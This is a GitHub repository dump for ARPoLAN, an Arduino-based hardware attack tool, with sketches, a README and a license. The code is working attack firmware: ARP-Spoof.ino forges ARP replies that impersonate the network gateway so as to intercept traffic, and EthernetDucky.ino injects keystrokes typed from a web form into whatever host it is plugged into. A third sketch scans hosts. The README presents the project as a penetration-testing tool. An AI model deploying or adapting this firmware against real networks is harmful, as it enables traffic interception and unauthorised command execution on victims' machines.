├── Code ├── ARP-Spoof │ └── ARP-Spoof.ino ├── EthernetDucky │ └── EthernetDucky.ino └── RAW-ARP │ └── RAW-ARP.ino ├── LICENSE ├── README.md └── Schematic ├── connection table.jpeg ├── connection.png └── schematic.png /Code/ARP-Spoof/ARP-Spoof.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/ARPoLAN 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | // ===== Settings ===== // 11 | #define debug /* Uncomment to get serial output */ 12 | #define led 9 13 | int packetRate = 20; // Packets sent per second 14 | static uint8_t mymac[] = { 0xc0, 0xab, 0x03, 0x22, 0x55, 0x99 }; 15 | 16 | int arp_count = 0; 17 | unsigned long prevTime = 0; 18 | bool connection = false; 19 | bool toggle_status = false; 20 | 21 | // ARP reply packet 22 | uint8_t _data[42] = { 23 | /* Ethernet frame header */ 24 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination MAC: Broadcast 25 | 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source MAC: Example MAC address 26 | 0x08, 0x06, // EtherType: ARP 27 | 28 | /* ARP packet */ 29 | 0x00, 0x01, // Hardware type: Ethernet 30 | 0x08, 0x00, // Protocol type: IPv4 31 | 0x06, // Hardware size: MAC length 32 | 0x04, // Protocol size: IP length 33 | 0x00, 0x02, // Opcode: ARP Reply (0x02) 34 | 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Sender MAC address 35 | 0xc0, 0xa8, 0x02, 0x01, // Sender IP address (192.168.2.1) 36 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Target MAC address (Broadcast) 37 | 0xc0, 0xa8, 0x02, 0x64 // Target IP address (192.168.2.100) 38 | }; 39 | 40 | EthernetUDP Udp; 41 | EthernetServer server(80); // Create a server that listens on port 80 42 | 43 | bool sendARP() { 44 | long curTime = millis(); 45 | 46 | if (curTime - prevTime > 1000 / packetRate) { 47 | digitalWrite(led, HIGH); 48 | 49 | Udp.beginPacket(IPAddress(192, 168, 2, 100), 0); // Target IP address 50 | Udp.write(_data, sizeof(_data)); 51 | Udp.endPacket(); 52 | 53 | arp_count++; 54 | prevTime = curTime; 55 | 56 | digitalWrite(led, LOW); 57 | 58 | #ifdef debug 59 | Serial.println("ARP PACKET SENT"); 60 | #endif 61 | 62 | return true; 63 | } 64 | 65 | return false; 66 | } 67 | 68 | void _connect() { 69 | Ethernet.begin(mymac); 70 | delay(1000); 71 | 72 | if (Ethernet.localIP() == INADDR_NONE) { 73 | #ifdef debug 74 | Serial.println("DHCP failed"); 75 | #endif 76 | connection = false; 77 | } else { 78 | #ifdef debug 79 | Serial.print("My IP: "); 80 | Serial.println(Ethernet.localIP()); 81 | Serial.print("Netmask: "); 82 | Serial.println(Ethernet.subnetMask()); 83 | Serial.print("Gateway IP: "); 84 | Serial.println(Ethernet.gatewayIP()); 85 | Serial.print("DNS IP: "); 86 | Serial.println(Ethernet.dnsServerIP()); 87 | #endif 88 | 89 | // Set gateway IP 90 | IPAddress gatewayIP = Ethernet.gatewayIP(); 91 | for (int i = 0; i < 4; i++) _data[28 + i] = gatewayIP[i]; 92 | 93 | // Set fake MAC 94 | for (int i = 0; i < 6; i++) _data[6 + i] = _data[22 + i] = mymac[i]; 95 | 96 | connection = true; 97 | } 98 | } 99 | 100 | void setup() { 101 | pinMode(led, OUTPUT); 102 | 103 | #ifdef debug 104 | Serial.begin(115200); 105 | delay(2000); 106 | Serial.println("ready!"); 107 | Serial.println("waiting for LAN connection..."); 108 | #endif 109 | 110 | Ethernet.init(17); // W5500 chip select pin 111 | while (!connection) { 112 | _connect(); 113 | delay(1000); 114 | } 115 | 116 | Udp.begin(8888); // Initializing UDP 117 | server.begin(); // Start the web server 118 | } 119 | 120 | void handleClient(EthernetClient client) { 121 | if (client) { 122 | bool currentLineIsBlank = true; 123 | String request = ""; 124 | 125 | while (client.connected()) { 126 | if (client.available()) { 127 | char c = client.read(); 128 | request += c; 129 | 130 | if (c == '\n' && currentLineIsBlank) { 131 | if (request.indexOf("GET /toggle?status=ON") >= 0) { 132 | toggle_status = true; 133 | #ifdef debug 134 | Serial.println("Turn ON requested"); 135 | #endif 136 | } else if (request.indexOf("GET /toggle?status=OFF") >= 0) { 137 | toggle_status = false; 138 | #ifdef debug 139 | Serial.println("Turn OFF requested"); 140 | #endif 141 | } 142 | 143 | // Send the response 144 | client.println("HTTP/1.1 200 OK"); 145 | client.println("Content-Type: text/html"); 146 | client.println("Connection: close"); 147 | client.println(); 148 | 149 | client.println(""); 150 | client.println(""); 151 | client.println("ARP Spoofer"); 152 | client.println(""); 159 | client.println(""); 160 | client.println(""); 161 | client.println("

ARP Spoofer

"); 162 | if (toggle_status) { 163 | client.println("ON"); 164 | } else { 165 | client.println("OFF"); 166 | } 167 | client.println("

Packets sent: " + String(arp_count) + "

"); 168 | client.println(""); 169 | client.println(""); 170 | 171 | break; 172 | } 173 | 174 | if (c == '\n') { 175 | currentLineIsBlank = true; 176 | } else if (c != '\r') { 177 | currentLineIsBlank = false; 178 | } 179 | } 180 | } 181 | 182 | delay(1); 183 | client.stop(); 184 | } 185 | } 186 | 187 | void loop() { 188 | EthernetClient client = server.available(); 189 | if (client) { 190 | handleClient(client); 191 | } 192 | 193 | if (connection && toggle_status) { 194 | sendARP(); 195 | } else { 196 | digitalWrite(led, LOW); // No Connection, turn off STATUS LED 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /Code/EthernetDucky/EthernetDucky.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/ARPoLAN 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | // Enter a MAC address and IP address for your controller below. 11 | // The IP address will be dependent on your local network: 12 | byte mac[] = { 13 | 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED 14 | }; 15 | IPAddress ip(192, 168, 1, 177); 16 | 17 | // Initialize the Ethernet server library 18 | // with the IP address and port you want to use 19 | // (port 80 is default for HTTP): 20 | EthernetServer server(80); 21 | 22 | void setup() { 23 | // Initialize the CS pin 24 | Ethernet.init(17); // Assuming you are using pin 10 for CS 25 | 26 | // Open serial communications and wait for port to open: 27 | Serial.begin(9600); 28 | //while (!Serial) { 29 | // ; // wait for serial port to connect. Needed for native USB port only 30 | // } 31 | Serial.println("Ethernet WebServer Example"); 32 | 33 | // start the Ethernet connection and the server: 34 | Ethernet.begin(mac, ip); 35 | /* 36 | // Check for Ethernet hardware present 37 | if (Ethernet.hardwareStatus() == EthernetNoHardware) { 38 | Serial.println("Ethernet shield was not found. Sorry, can't run without hardware. :("); 39 | while (true) { 40 | delay(1); // do nothing, no point running without Ethernet hardware 41 | } 42 | } 43 | if (Ethernet.linkStatus() == LinkOFF) { 44 | Serial.println("Ethernet cable is not connected."); 45 | } 46 | */ 47 | // start the server 48 | server.begin(); 49 | Serial.print("server is at "); 50 | Serial.println(Ethernet.localIP()); 51 | 52 | // Initialize the USB HID 53 | Keyboard.begin(); 54 | } 55 | 56 | void loop() { 57 | // listen for incoming clients 58 | EthernetClient client = server.available(); 59 | if (client) { 60 | Serial.println("new client"); 61 | String currentLine = ""; 62 | bool isPost = false; 63 | bool payloadReceived = false; 64 | String payload = ""; 65 | 66 | // an HTTP request ends with a blank line 67 | bool currentLineIsBlank = true; 68 | while (client.connected()) { 69 | if (client.available()) { 70 | char c = client.read(); 71 | Serial.write(c); 72 | currentLine += c; 73 | 74 | if (c == '\n' && currentLineIsBlank) { 75 | if (isPost && !payloadReceived) { 76 | payload = extractPayload(client); 77 | payload = urlDecode(payload); 78 | executePayload(payload); 79 | payloadReceived = true; 80 | } 81 | 82 | // send a standard HTTP response header 83 | client.println("HTTP/1.1 200 OK"); 84 | client.println("Content-Type: text/html"); 85 | client.println("Connection: close"); // the connection will be closed after completion of the response 86 | client.println(); 87 | client.println(""); 88 | client.println(""); 89 | client.println(""); 90 | client.println(""); 91 | client.println(""); 98 | client.println(""); 99 | client.println(""); 100 | client.println("
"); 101 | client.println("

Ethernet Ducky

"); 102 | client.println("
"); 103 | client.println("
"); 104 | client.println("
"); 105 | client.println(""); 106 | client.println("
"); 107 | client.println("
"); 108 | client.println(""); 109 | client.println(""); 110 | break; 111 | } 112 | 113 | if (c == '\n') { 114 | // you're starting a new line 115 | currentLineIsBlank = true; 116 | if (currentLine.startsWith("POST /execute")) { 117 | isPost = true; 118 | } 119 | currentLine = ""; 120 | } else if (c != '\r') { 121 | // you've gotten a character on the current line 122 | currentLineIsBlank = false; 123 | } 124 | } 125 | } 126 | // give the web browser time to receive the data 127 | delay(1); 128 | // close the connection: 129 | client.stop(); 130 | Serial.println("client disconnected"); 131 | } 132 | } 133 | 134 | String extractPayload(EthernetClient client) { 135 | String payload = ""; 136 | while (client.connected()) { 137 | if (client.available()) { 138 | char c = client.read(); 139 | payload += c; 140 | } 141 | } 142 | int startIndex = payload.indexOf("payload=") + 8; 143 | int endIndex = payload.indexOf('&', startIndex); 144 | if (endIndex == -1) { 145 | endIndex = payload.length(); 146 | } 147 | payload = payload.substring(startIndex, endIndex); 148 | payload.trim(); 149 | return payload; 150 | } 151 | 152 | // Function to decode URL encoding 153 | String urlDecode(String input) { 154 | String decoded = ""; 155 | char temp[] = "00"; 156 | unsigned int len = input.length(); 157 | for (unsigned int i = 0; i < len; i++) { 158 | if (input[i] == '%') { 159 | temp[0] = input[i + 1]; 160 | temp[1] = input[i + 2]; 161 | decoded += (char)strtol(temp, NULL, 16); 162 | i += 2; 163 | } else if (input[i] == '+') { 164 | decoded += ' '; 165 | } else { 166 | decoded += input[i]; 167 | } 168 | } 169 | return decoded; 170 | } 171 | 172 | void executePayload(String payload) { 173 | Serial.print("Executing payload: "); 174 | Serial.println(payload); 175 | 176 | int length = payload.length(); 177 | for (int i = 0; i < length; i++) { 178 | char c = payload.charAt(i); 179 | 180 | // Check for special commands 181 | if (c == '\\') { 182 | i++; 183 | if (i < length) { 184 | String command = ""; 185 | while (i < length && isAlphaNumeric(payload.charAt(i))) { 186 | command += payload.charAt(i); 187 | i++; 188 | } 189 | i--; // adjust for the loop increment 190 | if (command == "n") { 191 | Keyboard.write(KEY_RETURN); 192 | } else if (command == "t") { 193 | Keyboard.write(KEY_TAB); 194 | } else if (command == "b") { 195 | Keyboard.write(KEY_BACKSPACE); 196 | } else if (command == "d") { 197 | Keyboard.write(KEY_DELETE); 198 | } else if (command == "r") { 199 | Keyboard.write(KEY_RIGHT_ARROW); 200 | } else if (command == "l") { 201 | Keyboard.write(KEY_LEFT_ARROW); 202 | } else if (command == "u") { 203 | Keyboard.write(KEY_UP_ARROW); 204 | } else if (command == "w") { 205 | Keyboard.write(KEY_DOWN_ARROW); 206 | } else if (command == "c") { 207 | Keyboard.press(KEY_LEFT_CTRL); 208 | } else if (command == "a") { 209 | Keyboard.press(KEY_LEFT_ALT); 210 | } else if (command == "s") { 211 | Keyboard.press(KEY_LEFT_SHIFT); 212 | } else if (command == "m") { 213 | Keyboard.press(KEY_LEFT_GUI); 214 | } else if (command == "f1") { 215 | Keyboard.write(KEY_F1); 216 | } else if (command == "f2") { 217 | Keyboard.write(KEY_F2); 218 | } else if (command == "f3") { 219 | Keyboard.write(KEY_F3); 220 | } else if (command == "f4") { 221 | Keyboard.write(KEY_F4); 222 | } else if (command == "f5") { 223 | Keyboard.write(KEY_F5); 224 | } else if (command == "f6") { 225 | Keyboard.write(KEY_F6); 226 | } else if (command == "f7") { 227 | Keyboard.write(KEY_F7); 228 | } else if (command == "f8") { 229 | Keyboard.write(KEY_F8); 230 | } else if (command == "f9") { 231 | Keyboard.write(KEY_F9); 232 | } else if (command == "f10") { 233 | Keyboard.write(KEY_F10); 234 | } else if (command == "f11") { 235 | Keyboard.write(KEY_F11); 236 | } else if (command == "f12") { 237 | Keyboard.write(KEY_F12); 238 | } else if (command == "h") { 239 | Keyboard.write(KEY_HOME); 240 | } else if (command == "e") { 241 | Keyboard.write(KEY_END); 242 | } else if (command == "p") { 243 | Keyboard.write(KEY_PAGE_UP); 244 | } else if (command == "g") { 245 | Keyboard.write(KEY_PAGE_DOWN); 246 | } else if (command == "i") { 247 | Keyboard.write(KEY_INSERT); 248 | } else if (command == "k") { 249 | Keyboard.write(KEY_ESC); 250 | } else if (command == "x") { 251 | Keyboard.releaseAll(); 252 | } 253 | } 254 | } else { 255 | Keyboard.print(c); 256 | } 257 | delay(100); // Add a small delay between keystrokes 258 | } 259 | Keyboard.releaseAll(); 260 | } 261 | 262 | bool isAlphaNumeric(char c) { 263 | return (c >= 'a' && c <= 'z') || (c >= '0' && c <= '9'); 264 | } 265 | -------------------------------------------------------------------------------- /Code/RAW-ARP/RAW-ARP.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/ARPoLAN 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | 9 | // MAC address for your controller 10 | byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; 11 | 12 | // IP address for your controller 13 | IPAddress ip(192,168,1,0); 14 | 15 | void setup() { 16 | Serial.begin(9600); 17 | 18 | while (!Serial) { 19 | ; // Wait for serial port to connect. Needed for native USB 20 | } 21 | 22 | Ethernet.init(17); 23 | 24 | 25 | // Initialize Ethernet 26 | Ethernet.begin(mac, ip); 27 | 28 | // Give the Ethernet shield a second to initialize: 29 | delay(1000); 30 | Serial.println("Ethernet initialized"); 31 | 32 | } 33 | 34 | void loop() { 35 | Serial.println("Starting network scan..."); 36 | 37 | // Range of IP addresses to scan 38 | for (int i = 1; i < 255; i++) { 39 | IPAddress testIp = ip; 40 | testIp[3] = i; 41 | 42 | delay(10); 43 | 44 | if (ping(testIp)) { 45 | Serial.print("Device found: "); 46 | Serial.println(testIp); 47 | } 48 | 49 | } 50 | Serial.println("Network scan complete."); 51 | } 52 | 53 | bool ping(IPAddress ip) { 54 | EthernetClient client; 55 | if (client.connect(ip, 80)) { 56 | client.stop(); 57 | return true; 58 | } 59 | return false; 60 | } 61 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 CiferTech 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | logo 4 |

ARPoLAN

5 | 6 |

7 | A tool for network scanning and ARP spoofing using the Atmega32u4 and W5500 8 |

9 | 10 | 11 | 12 | 13 | 14 | cifertech - ARPoLAN 15 | stars - ARPoLAN 16 | forks - ARPoLAN 17 | 18 |

19 | TWITTER 20 | · 21 | INSTAGRAM 22 | · 23 | YOUTUBE 24 | · 25 | WEBSITE 26 |

27 |
28 | 29 |
30 | 31 | 32 | ## 📖 Explore the Full Documentation 33 | 34 | Ready to dive deeper into our project's details? Discover the full story, in-depth tutorials, and all the exciting features in our comprehensive [documentation](https://cifertech.net/arpolan-network-monitoring-and-security-tool/). Click the link and explore further! 35 | 36 | 37 | ## ⚠ Future Changes 38 | - ICMP Ping Functionality 39 | - All-in-One Web Interface 40 | 41 | 42 | 43 | ## :star2: About the Project 44 | ARPoLan is a network security tool designed for network scanning and ARP spoofing. Utilizing the Atmega32u4 microcontroller and the W5500 Ethernet module, it can efficiently monitor network activity, identify connected devices, and manipulate network traffic for penetration testing. 45 | 46 | 47 | 48 |
49 | screenshot 50 |
51 | 52 | 53 | 54 | ### 🎯 Features 55 | 56 | - Network Scanning: Discover devices on the local network by sending ARP requests and collecting responses. 57 | - ARP Spoofing: Perform ARP spoofing attacks to intercept and manipulate network traffic. 58 | - HID Functionality: Utilize the Atmega32u4's USB HID capabilities for additional attack vectors. 59 | - Real-time Monitoring: Visual and serial indicators for attack detection and network activity. 60 | 61 | 62 | 63 | ## 🧰 Getting Started 64 | Prerequisites 65 | - Arduino IDE 66 | - Ethernet library 67 | - SPI library 68 | 69 | 70 | ### ⚙️ Installation 71 | Clone the Repository: 72 | ``` 73 | git clone https://github.com/cifertech/ARPoLAN.git 74 | ``` 75 | - Upload the Code: Use the Arduino IDE to upload the provided sketches to the Atmega32u4. 76 | - Connect the Hardware: Check out [Schematic](https://github.com/cifertech/ARPoLAN/tree/main/Schematic) or visit [CiferTech.net](https://cifertech.net/arpolan-network-monitoring-and-security-tool/) for Schematic 77 | 78 | 79 | 80 | ## :wave: Contributing 81 | I welcome contributions to improve ARPoLan. If you have suggestions or enhancements, please open an issue or submit a pull request on GitHub. 82 | 83 | 84 | 85 | ## :warning: License 86 | 87 | Distributed under the MIT License. See LICENSE.txt for more information. 88 | 89 | 90 | 91 | ## :handshake: Contact 92 | 93 | ▶ Support me on Patreon [patreon.com/cifertech](https://www.patreon.com/cifertech) 94 | 95 | CiferTech - [@twitter](https://twitter.com/techcifer) - CiferTech@gmali.com 96 | 97 | Project Link: [https://github.com/cifertech/ARPoLAN](https://github.com/cifertech/ARPoLAN) 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /Schematic/connection table.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/ARPoLAN/1a1de482c0847ed201704a0b9e6c9a9519c21b4f/Schematic/connection table.jpeg -------------------------------------------------------------------------------- /Schematic/connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/ARPoLAN/1a1de482c0847ed201704a0b9e6c9a9519c21b4f/Schematic/connection.png -------------------------------------------------------------------------------- /Schematic/schematic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/ARPoLAN/1a1de482c0847ed201704a0b9e6c9a9519c21b4f/Schematic/schematic.png --------------------------------------------------------------------------------